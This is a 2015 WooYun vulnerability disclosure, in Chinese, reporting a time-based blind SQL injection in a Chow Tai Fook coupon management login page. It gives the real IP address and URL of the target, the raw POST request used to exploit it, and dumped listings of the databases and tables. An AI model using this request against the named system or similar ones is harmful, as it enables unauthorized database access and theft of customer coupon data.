当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146370

漏洞标题:周大福某管理系统SQL注入漏洞(时间盲注/泄露消费卷信息)

相关厂商:周大福

漏洞作者: 路人甲

提交时间:2015-10-13 12:32

修复时间:2015-11-27 12:34

公开时间:2015-11-27 12:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

周大福消费券管理系统:

http://58.251.6.92/web_login/login.aspx

1.png

漏洞证明:

POST /web_login/login.aspx HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://58.251.6.92/web_login/login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 58.251.6.92
Content-Length: 296
Proxy-Connection: Keep-Alive
Pragma: no-cache
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTY5NDU2NzkxNmRkI1loBJ4MkSlkCq9et30c5X%2BNsIsr6D6UxWN10okhwdA%3D&__EVENTVALIDATION=%2FwEWBQLKmNWIDQLa2fmbBALug%2F37AwKY7LC9BQLs28fcDzqd2A3G63CJs3UqUUcVcs235y24sYc%2BFVnqBjq07St5&userid_txt=admin&password_txt=admin&lgn_btn=%E7%99%BB++%E5%BD%95


数据库:

[*] coupon01
[*] master
[*] model
[*] msdb
[*] tempdb


Database: coupon01
[33 tables]
+-------------------------------------+
| Branch |
| Branch_Coupon |
| Coupon_Account_Detail |
| Coupon_Code_Type |
| Coupon_Detail |
| Coupon_Discount |
| Coupon_Discount_Detail |
| Coupon_Field_Length |
| Coupon_History |
| Coupon_History_Mid |
| Coupon_Move_Temp |
| Coupon_Payment_Method |
| Coupon_Return_Today |
| Coupon_Sales_Order |
| Coupon_Sales_Order_No |
| Coupon_Sales_Payment |
| Coupon_Sales_Temp |
| Coupon_Sales_Tran |
| Coupon_Status_Flag |
| Coupon_Tran_Code |
| Coupon_Type |
| Day_Type |
| MSreplication_objects |
| MSreplication_subscriptions |
| MSsavedforeignkeycolumns |
| MSsavedforeignkeyextendedproperties |
| MSsavedforeignkeys |
| MSsnapshotdeliveryprogress |
| MSsubscription_agents |
| Team |
| Coupon Master |
| Location_Master |
| tbalter_index_history |
+-------------------------------------+

修复方案:

时间盲注 慢慢慢慢慢慢慢慢慢慢慢

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评论